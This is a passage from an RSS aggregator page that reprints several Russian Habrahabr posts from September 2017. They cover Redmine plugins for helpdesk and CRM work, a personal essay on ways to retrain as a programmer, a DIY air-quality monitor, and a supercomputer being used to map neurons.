                            Ну а коль уж вы имеете дело с клиентами, то и обращения от них вам нужно обрабатывать! И если поначалу вам удобнее просто отвечать из почтового клиента, то по мере увеличения писем вам придется превратить обращения в тиккеты и организовать работу с ними.

                            Каждое обращение от клиента имеет свой статус, автора (контакт), ответственного исполнителя. Все действия по обращению хранятся в истории, и всегда можно отследить, кто и что делал, в отличии от почтового клиента.

                            Чем вам может быть полезен Helpdesk в Redmine:



                            • Helpdesk автоматом создаст тиккет из email клиента (или из контактной формы).
                            • Заодно создаст и карточку контакта (если это новое обращение).
                            • Вы сможете привязать задачу к контакту (история обращений по клиенту).
                            • Сохраните время и отвечайте готовыми ответами (шаблоны ответов).
                            • Организуйте уровни поддержки (SLA).
                            • Отслеживайте метрики службы поддержки (время первого ответа и т.д.).
                            • Попросите клиентов оценить работу саппорт менеджера (оценка менеджеров).
                            • Настроить авто-ответы (указать ожидаемое время ответа или ссылку на FAQ).
                            • Вы можете установить всплывающее окно и начать диалог с клиентом первыми (Pop-up форма обратной связи).


                            Пример из практики
                            Входящие тиккеты в Helpdesk модуле можно привязать как к клиенту, так и к сделке или задаче. По каждому клиенту можно отследить историю отношений. Сегментация пользователей внутри CRM ведется с помощью тегов, различных фильтров и кастомных полей.


                            Пришло обращение от клиента. По ссылке из письма-нотификации переходим на карточку клиента и видим: во-первых, этот клиент пробовал триал версию, во-вторых, у него есть скачанные бесплатные версии продукта, по нему ведется сделка ну и есть вся контактная информация. Не покидая карточки контакта, вы сможете ответить на его обращение, имея под рукой всю историю взаимоотношений с этим клиентом. Это важно для выстраивания персональных и доверительных отношений.

                            Все мы любим внимание к своей персоне, и если вы упоминаете а-ля :«Я вижу, что вы в прошлом году попробовали нашу триал версию облачного решения, однако вам не хватило поддержки по миграции данных из Trello», то для клиента это будет звучать примерно так: «Вы для нас очень важный клиент, и мы все как один понимаем ответственность и очень хотим помочь вам и вашему бизнесу!»

                            Даже если мы отвечаем на тиккет из своего почтового клиента, наше сообщение попадает в историю переписки с клиентом. Вы сможете быстро ответить с мобильного телефона и не терять при этом информацию.

                            image

                            image

                            5. Управление командой



                            Продуктовые команды состоят из людей разной квалификации, профессии, и далее по списку. Если у вас под рукой вся информация о предыдущем опыте работы, проектах и компетенциях — вы легко сможете подобрать нужного человека. Особенно актуально для удаленных команд и проектов, в которых часто прибегают к услугам фрилансеров. По каждому фрилансеру есть «карточка», в которой, по сути, хранится вся история взаимоотношений.

                            image

                            image

                            Вы сможете планировать отпуска и праздничные мероприятия, заранее предупреждая об этом всю команду проекта. Более того, вы можете оплачивать рабочие часы на основе затраченного времени по разным проектам и задачам. В конце концов, вы не забудете сделать сюрприз и поздравить человека с днем рождения.

                            image

                            Пример из практики
                            На этапе планирования проекта мы подбираем команду. Нам потребуется IOS разработчик, Ux-Ui дизайнер и аналитик. Заказчик — госструктура с хорошим бюджетом. А вы-то, как опытный менеджер, знаете, что это чревато тем, что:

                            — сроки будут «завтра нужно»
                            — стиль будет «а можно вместо красного — зеленый»
                            — концепт поменяется 5 раз
                            — ответственный исполнитель со стороны заказчика поменяется 3 раза



                            Итак, открываем список контактов (сотрудники) в Redmine и по тегу «Ux-Ui» смотрим потенциальных дизайнеров. Нам предстоит выбрать из 15 человек. Смотрим портфолио и последние работы на наличие IOS проектов — осталось 5.

                            Отбрасываем капризных, и дизайнеров-хипстеров, потому как если их вариант не примут с первого раза — расстроятся и будут унывать. Отбрасываем тех, кто работает на фул тайме в компании, так как сроки не позволят работать по выходным и когда муза придет. У оставшихся 2-х кандидатов есть все шансы — отправляем им детали проекта и запрашиваем ценник. В итоге выбираем одного.

                            По итогам работ на основании затраченного времени выставляем счет, который тут же можно отправить по почте.

                            image

                            6. Управление расходами в Redmine. Финансы.



                            Не пугайтесь, тут не будет интеграции с 1С или другими системами. Я покажу, как можно вести простейшие операции по расходам и доходам внутри проекта. Давайте возьмем реальный кейс: у вас есть представительство в Москве, и на его содержание вы выделяете определенную сумму денег. У вас есть банковские карты, и вам нужно понимать состояние текущего счета — на что были потрачены деньги.

                            Для этого в Redmine заводим счета, которые привязаны к банковской карте. Каждый раз, совершая ту или иную операцию, вы или ваш сотрудник указывает счет, сумму и категорию операции (заводится из справочника). После создания операции вам на почту приходит уведомление, и вы как менеджер можете подтвердить операцию или нет. Таким образом, у вас под рукой инструмент учета и мониторинга всех расходов по проекту.

                            image

                            7. Redmine в облаке — сфокусируйтесь на проектах!



                            Jira, Basecamp и другие лидеры рынка на базе своих продуктов создали облачные сервисы (Atlassian, Wrike) и взяли на себя вопросы, связанные c установкой, настройкой, поддержкой и обновлением ПО.

                            Redmine сыскал славу прежде всего как гибкий инструмент! За его способность настройки под разные задачи его любят миллионы людей по всему миру. Так почему же не использовать это? Почему не доверить Redmine новые задачи? Тем более, что все эти модули появились в результате кропотливой, совместной работы с пользователями Redmine по всему миру.

                            Именно так и появились SaaS решения для управления проектами и на базe Redmine. Я пользуюсь RedmineUP так как там есть необходимые мне модули, все готово к проектной работе и есть техподдержка, которой нет в бесплатном базовом Redmine.

                            Так что самое время оглянуться и посмотреть на Redmine по-новому. Удачных проектов вам!
                            Original source: habrahabr.ru (comments, light).

                            https://habrahabr.ru/post/337884/


                            Метки:  

                            Я б в программеры пошёл, пусть меня научат

                            Вторник, 26 Сентября 2017 г. 11:18 + в цитатник
                            Free_Mic_RS сегодня в 11:18 Разное

                            Я б в программеры пошёл, пусть меня научат

                              Сегодня многие романтизируют ИТ-сферу, стремятся попасть в неё и остаться в облаке славы, денег и всемирной известности. Конечно, всё не так, как кажется: разработка — это сложный интеллектуальный труд, отнимающий кучу времени. Но если вы всё же решились сменить профессию и войти в ряды айтишников, не промахнитесь со способом обучения.

                              Мы получили очередное сообщение от сотрудника с просьбой дать свободный микрофон. На этот раз речь пойдёт о программировании (и немного администрировании) как о дополнительном профессиональном образовании. Об опыте, проверенном на собственной шкуре и методах получения сакральных айтишных знаний, расскажет наша сотрудница, которая учится каждый год — не иначе, как завещал великий Ленин.


                              Привет, Хабр! Я работаю в РегионСофт уже 4 года, и за это время успела не только пережить два мажорных релиза нашей CRM-системы, но и трижды поучиться. Сегодня расскажу о подводных камнях корпоративных университетов, вузов, курсов и попробую классифицировать возможные пути обучения и переобучения будущего айтишника. Текст больше ориентирован на тех, кто хочет сменить профессию, но и студентам, уверена, будет полезно.

                              Вузы, вы больны


                              Нашему вузовскому курсу повезло — мы были вторым годом новой специализации «Финансовый менеджмент и финансовая математика», и вуз был вынужден решать кадровую проблему довольно необычным для российского образования путем. Да, часть финансовых дисциплин нам читали всё те же старые профессора, которые начинали свой карьерный путь с политэкономии и особо с него не сворачивали. Но во всём, что касалось рынка ценных бумаг, технического анализа, биржевого дела, специализированной математики они были полные профаны. Поэтому трое преподавателей внезапно отличались от классической школы — это были практикующий программист, профессиональный трейдер и тренер, обучавший первых игроков нынешней Московской биржи (тогда ещё ММВБ). Что их отличало:

                              • Увязка теории и практики на всех этапах — у нас не было чистых лекций или семинаров, вся информация поступала к нам с реальными примерами, без дистиллированных задач.
                              • Кроме базовой информации, они разбирали нетипичные истории из практики — сразу было понятно, что в будущем всё будет немного не так, как в учебниках (совсем не так).
                              • Они не ошибались. В том смысле, что не было таких историй, когда после длинных формул и решений стиралась половина доски. Всё оттого, что они решали с нами практические примеры, за которые привыкли получать деньги и в которых отвечали за чужие инвестиции.
                              • Они показали, как применяется высшая математика в деле — и у нас уже не возникало мысли «ну и где мне этот тервер понадобится». К слову сказать, никто из нас не пошёл в биржевое дело, но на то были разные причины.

                              Когда я стала преподавать после пятого курса, то переняла их опыт, но, увы, на мою долю выпало вести статистику и институтские бабушки с кафедры быстро зарубили мои новомодные планы. Впрочем, через год я навсегда ушла из сферы образования в бизнес, потащив за собой лишь учёбу в аспирантуре. О чём не жалела ни секунды.

                              Что плохо в современном вузовском образовании?

                              • Устаревшая материально-техническая база и устаревшие учебные планы — согласитесь, странно изучать Windows Server 2003 или Pascal в 2017 году.
                              • Преподаватели-теоретики, некоторые из которых просто прошли курсы повышения квалификации и, например из математика превратились в преподавателя по алгоритмам и структурам данных.
                              • Отсутствие практики — согласитесь, формальный месяц, за который студенты дважды посещают базу практики, совершенно не то, что нужно разработчикам или инженерам. В то время как вуз может запросто давать первичный и довольно глубокий опыт, припахивая студентов к внутренним проектам или грантам.

                              Однако это не значит, что нужно вдохновиться примером известных айтишников и проигнорировать вуз. Первое базовое высшее образование должно быть, тем более, что сейчас во многих вузах открываются новые программы, направления и специальности.

                              Почему это важно:

                              • вуз учит грамотно формулировать и высказывать свои мысли
                              • вуз даёт бесценный навык — умение пользоваться литературой и источниками, а не просто гуглить
                              • вуз имеет огромную научную базу и хорошую библиотеку — и просидеть день в читальном зале отнюдь не ретроградство
                              • вуз развивает мышление и навыки обобщения
                              • вуз даёт основы, на базе которых можно продолжать развитие и обучение
                              • и как ни крути, вуз — это диплом гос. образца, который, вопреки многим суждениям, продолжают ждать работодатели. Ну а если в карьерном плане есть что-то типа Росатома, Газпрома и т.д., то диплом просто необходим. Не говоря уж о науке.

                              К слову, крупные компании в сотрудничестве с вузами открывают множество программ, проводят хакатоны, митапы и конференции для студентов. Бесплатно, но не бескорыстно — они выискивают лучших ещё со студенческой скамьи.

                              Корпоративный институт как не идеальная, но лучшая форма обучения


                              А бизнес — это другие реалии, потребности работодателя и другие схемы обучения. Провожая меня за пределы вуза, мой первый начальник, проректор по науке, сказал: «Каждый год ты должна тратить одну зарплату на обучение — курсы ли, образование, книги, — не важно. Сам процесс обучения упорядочивает мышление». Первый год работы в бизнесе я начисто забыла об этих словах — вся жизнь и без того была похожа на обучение (а точнее, гибрид армейской дедовщины с дрессурой манула). В конце второго года осенило, что работать в ИТ (коммерческая служба) и не понимать внутренностей ИТ чревато ошибками и идиотскими ситуациями, поэтому было решено — учусь.

                              Рассматривалось три варианта:

                              1. магистратура мехмата — была отвергнута из-за того, что в учебном плане было до кучи ненужного, а времени ушло бы три года. Ну и дорого, конечно;
                              2. дополнительное образование в университете — было отвергнуто из-за устаревшей программы (как вам офисное программирование VBA или Access как изучаемая СУБД?) и изученного списка преподавателей-теоретиков;
                              3. обучение в корпоративном институте крупнейшей компании-разработчика в городе. Учебный план был актуальный, стек интересный, длина — год (по факту почти полтора), преподаватели — исключительно практики. Бонусом было 100 часов английского — на тот момент не знала его вообще, моим первым иностранным был французский. Курс назывался «Разработка программного обеспечения».

                              Обучение в корпоративном институте в корне отличалось от вузовского, но, как показало время, не было идеальным. Тут стоит остановиться и подробнее разобраться.

                              Первое и главное: корпоративный университет (даже если это базовая кафедра вуза, свой факультет и т.д.) — это всегда интерес компании. Фактически она готовит кадры для себя, и нужно быть готовым к тому, что на вас перенесут часть корпоративных стандартов. И если для студентов и молодых специалистов это шанс получить и практику, и работу, то взрослым специалистам такая «профильность» может мешать. Например, у нас С, С++ и Java превалировали над всеми предметами, а тот же Python прошёл почти мимо — мы на нём успели написать телепрограмму, турнирную таблицу матчей и календарь с рассылкой напоминалок на e-mail. Опять же, с точки зрения операционных систем нам дали только UNIX — правда, очень круто. Но об этом чуть ниже.

                              Итак, минусы:

                              • корпоративный интерес и корпоративный стек
                              • профильные задачи на практике

                              Плюсы:

                              • почти гарантированная возможность получить работу (всех, кто выжил, пригласили на собеседование, двое сменили работу)
                              • попадание на первый фронт тех, кого рассматривают на вакансии в дальнейшем — на почту периодически приходят письма с вакансиями по профилю обучения.

                              Группы сформированы неоднородно — видимо, руководство корпоративного университета рассчитывает на сознательность слушателей. В общем, у нас было 16 человек — 5 девушек, 11 парней, все разные: от нулевого уровня типа меня до высокого уровня профессиональных программистов (был С-шник и реально мощный тимлид 1С-овец). Закончили и защитились семеро, девушек — две. При этом перед поступлением проводится тестирование и собеседование для определения уровня английского языка и распределения по группам. А вот собеседование на уровень знания технологий — нет.

                              В итоге те, кто уже имели опыт разработки, уверенно вникали и опережали тех, кто не мог с первого раза переварить мысли типа «указатель на указатель», «сборщик мусора», «наследуются свойства и методы класса BaseClass». Проблема была в том, что нас сразу погрузили в язык программирования — шутка ли, но структуры данных и алгоритмы случились несколькими неделями позже.

                              А теперь про UNIX. И лекции, и практику вели сильнейшие парни, которые могли ответить на любой вопрос, как бы криво он ни был сформулирован. На практических занятиях на отстающих не забивали, а всей группой дотягивали того, кто запутался. Например, писали регулярки для девочки-дизайнера, разбирая с ней каждый элемент или сорок минут искали, почему у меня не компилился С-шный код в gcc (оказалось, в хедере была пропущена точка с запятой — классика). В итоге UNIX знали и сдали все, кто до него дожил, а я спустя полгода на раз-два прошла собеседование на позицию инженера по тестированию VoIP c кучей вопросов по командам bash.


                              Итак, минусы:

                              • преподаватели иногда игнорируют отстающих слушателей
                              • не всегда курс выстроен логично
                              • слабые быстро адаптируются и начинают списывать и копировать у сильных, становясь ещё слабее.

                              Плюсы:

                              • разбираются самые нелепые и одновременно сложные вопросы
                              • сильные, объясняя слабым, получают дополнительное развитие
                              • появляется стимул рыться в литературе (правда, не у всех).

                              А теперь о самом главном — о преподавании языков программирования и сопутствующей ИТ-инфраструктуры. Задачи отдалены от практики. Мы моделировали полёт бомбы на С, на нём же считали многочлены, программировали решето Эратосфена и работали с рядами Фибоначчи. На С++ мы писали и развивали карточку студента вплоть до применения деревьев. В этих задачах были упущены такие вопросы как безопасность, сетевая работа, проектирование и т.д. Разработка на практике выглядит, конечно же, совершенно иначе. И возможно, курс был бы ещё интереснее, если бы из наших выживших остатков группы сколотили настоящий отдел — senior, джуниоры, тестировщики, менеджер проектов. Тогда может и больше народу дошло бы до конца.

                              Не объяснялась структура разработки — если бы мы, новички, знали, что в реальной жизни программист пишет не всю программу, а работает над своей частью проекта, мы бы чисто психологически воспринимали задачи проще.

                              Для части слушателей задачи оказались непосильными с точки зрения понимания самих задач — чтобы запрограммировать решето Эратосфена или факториал, нужно понимать, что это такое. Та же история с бомбой — одно дело задачу решали мы с соседом по обучению, оба победители физических олимпиад, другое — девушка, которую направили учиться от компании и которая даже примерно не помнила, что такое ускорение свободного падения. Всё-таки в таких случаях важнее именно понимание структуры кода и алгоритмов, чем учёт скорости истребителя, ветра и сопротивления воздуха.

                              Баги всегда рядом — стоит приступить к коду

                              Преподаватели демонстрируют код, пишут его в реальном времени на лекции, всем всё понятно, а самим написать — никак. Очень хорошей находкой было давать фрагменты кода, чтобы мы разбирались и отвечали, что он делает. Замечательная наша преподавательница по С/С++ называла это «думай, как компилятор». И это всем нравилось, было живо и местами задорно, хотя и не всегда получалось.

                              А вот что было по-настоящему неприятно — так это требование писать код на экзаменах и зачётах (да, они были!)…на листочке бумаги. Это вызывало ступор, трепет и блокировало мозги. То есть ты привык, что есть компилятор, что он твой помощник, что есть среда разработки, подсветка кода и тут — бац и ты уже пишешь на бумажке вот это:

                              #include 
                              int main()
                              {
                              int i, fact=1, n;
                              cin>>n;
                              for (i=1; i<=n; i++)
                                {
                                fact=fact*i;
                                }
                                cout << fact;
                                return 0;
                              }

                              Это в лучшем случае. С наследованием в С++ было гораздо веселее. Однако про листочек и код есть и вторая точка зрения — на собеседованиях нередко просят написать код или команду ручкой на бумаге, и специалист должен быть к этому готов. А вот правильно ли просить решить задачу с помощью языка программирования вне ПК — это уже тема отдельного обсуждения.

                              Кстати, про ООП — видимо, чтобы его объяснить, его нужно понимать просто без заминок. Честно говоря, нам на пальцах его так и не объяснили, самым приемлемым было определение «всё есть объект» (аналогично в UNIX мы слышали про «всё есть файл»). Сложные вещи и правда трудно объяснять, поэтому преподавателям стоит заранее формулировать краткие и ёмкие пояснения, чтобы слушатели запоминали эту «выжимку», а потом уже наращивали понимание предмета. Короче, с ООП у большинства не сложилось.

                              ООП виделось именно так

                              Некоторые преподаватели были, что называется, «over qualified». Это умные и опытные тимлиды, для которых всё прозрачно и очевидно, поэтому они дают глубокий и качественный материал без основ — то есть фактически ничего, поскольку слушатели не включились в базу. Однако именно они транслировали практические ценности, рассказывали о продвинутых возможностях IDE (у нас были Visual Studio и Eclipse), открывали для тех, кто не знает, Хабр, книги Шилдта и Страуструпа. Кстати, что характерно, за почти полтора года обучения ни один преподаватель не произнёс слов «github» и «opensource». И это во многом было фатально — настолько, что даже наши решения и проекты ни у кого из нас почти не сохранились.

                              Под конец курса случилась особая форма извращения, которая называлась «Управление проектами». Мы радовались, думая, что перед дипломом (да, был настоящий проект с защитой на английском языке) нас разгрузили. Но вместо этого на нас обрушилась вся мощь UML-диаграмм. Выше тройки не получил никто, одна из девушек дошла почти до конца, но не сдала экзамены именно из-за этого предмета. Но с другой стороны, именно с этим малоприятным занятием пришло понимание целостности и связности программного проекта. Так что всё не зря.

                              Минусов и плюсов не будет — будет список того, что хотелось бы получать именно на таких узко специализированных курсах.

                              • Обязательно должны быть введены понятия репозитория, структуры проекта, разделения задач программистов на проекте (junior, middle, senior).
                              • Важно показывать роль книг, специализированных сайтов и опенсорса в обучении — только трое из нас купили учебники, только у одного был живой прокачанный аккаунт на Хабре и Тостере. И конечно, нужно обязательно рассказать о существовании курсов MIT, CS50 на русском, доступных записей лекций технических вузов. Примочки типа codecademy тоже не станут лишними в практике программирования — преподаватель просто обязан знать свой арсенал и транслировать его слушателям.
                              • На лекциях у каждого слушателя должен быть включён ПК — это золотое, даже платиновое правило. Одно дело смотреть на магию на проекторе, другое — повторять это перед собой и ковыряться в коде. Да, это займёт больше времени, но оно и эффективнее. Сейчас я опять же по доброй воле учусь в том же месте на потоке «Администрирования Windows Server» (RegionSoft CRM — продукт по большей части виндовый, и нужно хорошо знать инфраструктурное окружение проекта) и это очень круто — когда каждое действие, каждую команду мы отрабатываем на виртуалке, причём нередко в нескольких вариантах — например, настраиваем систему через GUI, средствами командной строки и через скрипты/командлеты Power Shell). Во-первых, подключаются все типы человеческой памяти, во-вторых, происходит дополнительное обсуждение косяков и успехов друг друга.

                              Кстати, отвлекусь и выскажусь по поводу онлайн-курсов. Как-то сдуру прошла довольно длинный бесплатный курс одной очень назойливой известной школы программирования по С# и основам web-разработки. Сперва этот формат кажется идеальным — можно выбирать время, останавливать видео, повторять действия в IDE, обсуждать в комментариях. Но первый восторг сменяется реальностью: онлайн курс может быть лишь дополнением к собственным занятиям и оффлайновой работе в группе с преподавателем. Сам по себе он лишает возможности разобраться глубоко. Может быть, мне не хватало упорства.

                              Как войти в айти


                              Способ первый — полное самообразование


                              При кажущейся абсурдности абсолютно возможный способ. Главное — правильное мышление, усидчивость и огромное желание. Самообразование не должно быть хаотичным, стоит выбрать стек и начать заниматься в комфортном режиме: например, начать с часу или двух в день.

                              Единого алгоритма обучения не существует, но цепочка действий может быть такой:

                              1. Определиться, зачем вам нужно программирование или администрирование — для развития мозгов, своего проекта, смены работы, эмиграции, для того, чтобы выйти на новый уровень в текущей деятельности. Исходя из этого нужно задать сроки и интервалы обучения.
                              2. Выбрать, с чего начать. Здесь все средства хороши, но как ни парадоксально, удачнее всего начинать с приложений вроде codecademy или книги «Python для чайников». Это не испортит вам стиль (его ещё нет), но доступным языком погрузит в основы и даст попробовать код «на пальцах».
                              3. Расширить круг читаемой литературы, начать работать в IDE.
                              4. Перестать бояться 127 ошибок в компиляторе, стать более внимательным к синтаксису.
                              5. Начать работать со своим или опенсорсным проектом. До этого этапа мало кто доходит. Но если дошли, будьте уверены — всё сложится.

                              Большое преимущество этого способа — ваша собственная мотивация, ваши собственные установки. Пока вы не работаете с кодом за деньги, это всего лишь ваше хобби — занимайтесь им в удовольствие. Даже если вы не смените работу и не станете программистом, вы совершенно иначе начнёте смотреть на разработку и на бизнес-процессы, изменится логика. Минус один — риск бросить всё на середине или в самом начале из-за недостатка мотивации, времени и интереса.

                              Способ первый модифицированный — самообразование + наставник в компании или стажировка


                              Отличается от первого способа тем, что кто-то в компании заинтересован в вашем развитии и готов выделить ресурсы или даже своё время на обучение секретам мастерства. Преимущество этого метода — в качестве, практической направленности и скорости обучения. А ещё люди склонны быстрее осваивать что-то новое, если это их работа и за неё платят деньги. Всё-таки правильная мотивация — великая вещь.

                              Отдельно стоит сказать о стажировках и обучении сразу в начале работы в компании. Это всегда удачный опыт и хороший способ адаптации персонала с одной стороны и источник знаний — с другой. Работу с такими компаниями всегда нужно использовать по полной — даже если вы не собираетесь долго задерживаться (мнение автора здесь не совпадает с позицией компании).

                              Способ второй — высшее образование (второе или дополнительное)


                              Да, можно взять и поступить в магистратуру или отпахать ещё несколько лет на вечернем специалитете. Это интересный процесс, освоение фундаментальных знаний и ноль практики. Она вся сводится к курсовым работам и отдельным контрольным с небольшими задачами. Плюсы — диплом государственного образца (пригодится, если вы собрались делать карьеру в гос. корпорациях или крупных компаниях) доступ к вузовской библиотеке, относительная дешевизна обучения и разнесённость во времени. Минусы — устаревший учебный план, формальность подхода, лишние предметы. Кстати, с преподавателями везёт по принципу 50/50, программы дополнительного образования и магистратуры стали в последнее время приглашать молодых преподавателей-практиков.

                              Способ третий — корпоративный университет


                              Хитрый способ, поскольку можно закончить обучение и заодно поменять работу. Вообще, откровенно говоря, наряду со стажировками — это один из способов обойти сотни резюме, стекающих в крупную компанию, и занять своё место. Но для этого нужно показать либо свои умения, навыки и опыт, либо стремление и способность обучаться. Плюсы — практически применимые знания, актуальная программа, удобное время занятий, режим диалога с преподавателем. Минусы — отсутствие диплома (только сертификат), разнородные группы, иногда не самый логичный учебный план, высокая цена и высокая нагрузка по времени.

                              О самом главном — без чего не обойтись


                              В любом случае, нет волшебной лекции или супер-чипа, который сделает вас специалистом. И знания в голову вам никто не вобьёт. Кроме самого обучения, есть вещи, без которых вы никогда не станете программистом.

                              • Без непрерывной работы с кодом. Вы должны его писать, разбирать, искать пути оптимизации, просить критики в экспертных сообществах и уметь прислушиваться к ней (хотя вам скажут и про «вон из профессии», и про «руки из ж…», и про «говнокод». Это совершенно нормальный путь.
                              • Без знания основ: позиционных систем счисления, устройства ПК, знания алгоритмов, работы с переменными, булевой алгебры, типизации и т.д. Большинство тех, кто хочет присоединиться к разработчикам, почему-то считают эти знания чем-то ненужным и погружаются сразу в готовые фрагменты кода, переделывая их и стряпая свой проект. Это неправильно — рано или поздно в проекте вы встретитесь именно с этими проблемами.
                              • Без книг. Ни один гугл, Тостер, Stack overflow и ламповый форум SQL-щиков не заменит книг в плане глубины и основ. Конечно, в идеале это должны быть оригиналы книг зарубежных авторов, благо что сегодня на Amazon потрясающий ассортимент — от классического С до нейросетей и NLP (который natural language processing). Но и переводные издания радуют всё больше. Не бойтесь портить книгу — читайте её с карандашом, ручкой и чем угодно. И да, если в книге приведён код, то недостаточно его разглядывать — лучше воспроизвести его на ПК, скомпилировать, разобрать и вникнуть. От простого чтения кода пользы в разы меньше.
                              • Без вопросов себе, преподавателю, гуглу, сообществу, наставнику. Идеальна схема выглядит так: слушаете лекцию, пишете базовые вещи, тут же отмечаете, что стоит изучить поглубже или узнать самому. На следующий день разбираете пометки, опять конспектируете самое важное. Затем практикуетесь в написании кода или, например, администрировании.
                              • Без изучения сопутствующего окружения и ИТ-инфраструктуры. Да, можно написать небольшой сайт и даже разместить на нём, например, красивую галерею работ, но потолок придёт быстро, если вы не озаботились изучением вопросов нагрузки, безопасности данных, форм на сайте и т.д. Поэтому стоит изучать нужную технологию комплексно, захватывая остальные.

                              Это самая точная картинка об изучении программирования

                              • Без рефакторинга. При всём старании вы никогда не создадите совершенный код с первого раза. И с десятого не сотворите, это даже у опытных разработчиков не всегда быстро выходит. Но работая с кодом, продумывая варианты оптимизации, вы становитесь профессионалом, который способен не просто накодить, а сделать ПО работающим и качественным. Не бойтесь код-ревью.
                              • Без проектирования. Если вы садитесь писать код, но не знаете, что вы пишете и как это должно работать, то вы просто тренируетесь в запоминании синтаксиса языка. Попробуйте нарисовать схему будущего приложения, установите, какие компоненты каким образом будут взаимодействовать, пропишите особенности и фичи. Так вам легче будет собрать проект и заставить его в конце концов работать.
                              • Без знания устройства вашей IDE (среды разработки). Все современные среды напичканы кучей возможностей типа автоматической генерации кода, подсветки, элементов управления и т.д. Обязательно разбирайтесь с возможностями, читайте документацию, обращайте внимание на то, как вводится код, как собирается проект, как работает компилятор и отладчик.
                              • Без понимания того, что такое библиотеки и как они работают. Во время обучения преподаватели иногда нас троллили — например, однажды мы долго прописывали функции арифметических операций и факториала, а потом нам показали math.h. Для целей обучения — полезный, весёлый и поучительный урок. Для целей работы — трата сил, времени и размножение костылей. Многое придумано до нас — достаточно взять, подключить и научиться использовать.
                              • А ещё без тестирования, DevOps, документирования и т.д. Но это продвинутый уровень — как правило, этим занимаются уже на работе.
                              • Без английского языка. Но это вы и без меня знаете. На английском доступны материалы, которые способны дать мощный толчок развитию профессионала. Их перевод зачастую выглядит тускло.

                              Но вообще самое трудное даже не начать. Самое трудное — продолжить, если не получается, не отшвырнуть в отчаянии. Как минимум, обучение вам обязательно пригодится — иногда в такой момент, когда вы даже не предполагаете. Так что не останавливайтесь ни на минуту.
                              Original source: habrahabr.ru (comments, light).

                              https://habrahabr.ru/post/338664/


                              Вторая версия Монитора качества воздуха

                              Вторник, 26 Сентября 2017 г. 11:09 + в цитатник
                              Migrator сегодня в 11:09 Разработка

                              Вторая версия Монитора качества воздуха

                                image

                                Некоторое время назад я описывал прибор для мониторинга качества воздуха в помещении, который можно сделать самостоятельно из деталей заказанных на известном китайском интернет магазине.
                                И вот появилась новая версия прибора.

                                image

                                Доработки в новой версии небольшие, в основном касаются прошивки. Но добавление нового датчика BME280 существенно расширило функциональность прибора.
                                image
                                Теперь стала доступна информация о температуре, влажности окружающего воздуха и атмосферном давлении.
                                Для тех кто собрал прибор первой версии его доработка и усовершенствование будет простейшей задачей. Просто добавить новый датчик и пере прошить контроллер.

                                Новый датчик подключается по интерфейсу I2C прямо к уже установленным часам.
                                image

                                При наличии датчика BME280 прибор будет каждые 15 секунд переключать панель показывающую параметры измерения пыли в режим демонстрации температуры, влажности, атмосферного давления, и через 15 секунд обратно в режим демонстрации пыли.

                                Еще в данной версии появилась возможность использовать прибор без наличия датчика формальдегида. В старой прошивки без этого датчика не работал датчик пыли.

                                Тут можно взять новую прошивку.



                                Тут Архив с файлами скриптов



                                Тут инструкция о том как самостоятельно собрать подобный прибор.

                                Инструкцию о том как прошивать контроллер можно посмотреть тут.



                                Электрическая схема:



                                Схема



                                Монтажная плата: 





                                Дополнительную информацию можно найти на моем сайте
                                Original source: habrahabr.ru (comments, light).

                                https://habrahabr.ru/post/338722/


                                Метки:  

                                Суперкомпьютер Cray XC40 построит карту нейронов

                                Вторник, 26 Сентября 2017 г. 10:52 + в цитатник
                                it_man сегодня в 10:52 Разработка

                                Суперкомпьютер Cray XC40 построит карту нейронов

                                  Исследователи из Аргоннской национальной лаборатории используют суперкомпьютер Cray XC40, чтобы построить схему взаимодействия нейронов в мозге — так называемый коннектом. В XX веке ученые составили коннектом червя-нематоды — на это ушло 12 лет. Нынешние технологии позволяют систематизировать большие объемы информации гораздо быстрее.


                                  / Flickr / Ivan / CC

                                  Команде ученых потребовался суперкомпьютер, чтобы обработать данные, полученные в результате исследования с помощью рентгеновского излучения и электронных микроскопов. Предмет изучения — мозг землеройки. Ученые планируют сгенерировать около эксабайта данных.

                                  После землеройки на очереди окажется мозг мыши, который в десять раз больше (75 миллионов нейронов). В конечном счете ученые хотят исследовать человеческий мозг, который содержит 100 миллиардов нейронов, соединенных 100 триллионами связей.

                                  Процесс составления коннектома начинается с анализа мозга на субмикронном уровне — для этого его изучают с помощью рентгеновской микротомографии на источнике синхротронного излучения высокой яркости Advanced Photon Source (APS). В результате ученые получат снимки тончайших «слоев» материала, на которых видны кровеносные сосуды и клеточные тела. Сканирование всего мозга в Аргоннской лаборатории занимает примерно час.

                                  Чтобы затем «разглядеть» более мелкие детали, применяют электронный микроскоп — за счет коротковолновых лучей он позволяет увеличить масштаб до нанометрового. Так удается запечатлеть синаптические связи между отдельными нейронами мозга. Далее, ученые используют специальный набор вычислительных инструментов, который превратит собранные данные в нейронную карту. Например, машинное обучение поможет сформировать предиктивные модели и идентифицировать «точки интереса».

                                  Суперкомпьютер Cray XC40, который будет для этого использован, обладает теоретической пиковой производительностью в 9 тыс. терафлопс — ее обеспечивают 200 тыс. ядер Intel Xeon Phi 7230 64C с частотой 1,3 ГГц. На данный момент, это 16-й по мощности компьютер в мире.

                                  «Благодаря возможностям аргоннского суперкомпьютера, мы сможем получить по-настоящему революционные изображения, раскрывающие детали функционирования мозга, которые раньше наблюдать не могли», — говорит Камель Феззаа (Kamel Fezzaa), участник проекта.

                                  Развивая и эффективно применяя методы быстрого анализа: сбор данных, аналитику и использованием графов и машинное обучение, ученые намереваются продвигать инициативу по использованию суперкомпьютеров в своих исследованиях. Суперкомпьютер Cray уже применяется в инициативе Human Brain Project (HBP) — десятилетнем проекте по изучению человеческого мозга, основанном в 2013 году.

                                  Исследования человеческого мозга способны обеспечить понимание того, как даже небольшие изменения могут вызвать возникновение и развитие неврологических заболеваний — болезни Альцгеймера или аутизма. В будущем это поможет определить, как эффективно лечить эти болезни.

                                  Об Аргоннской национальной лаборатории

                                  Аргоннская национальная лаборатория — национальный исследовательский центр Министерства энергетики США. Основана в 1946 году. Занимается проведением фундаментальных исследований в области физики, биологии и исследования окружающей среды.

                                  P.S. Еще несколько материалов из «Первого блога о корпоративном IaaS»:

                                  Original source: habrahabr.ru (comments, light).

                                  https://habrahabr.ru/post/338618/


                                  Метки:  

                                  Поиск сообщений в rss_rss_hh_new
                                  Страницы: 1437 ... 1160 1159 [1158] 1157 1156 ..
                                  .. 1 Календарь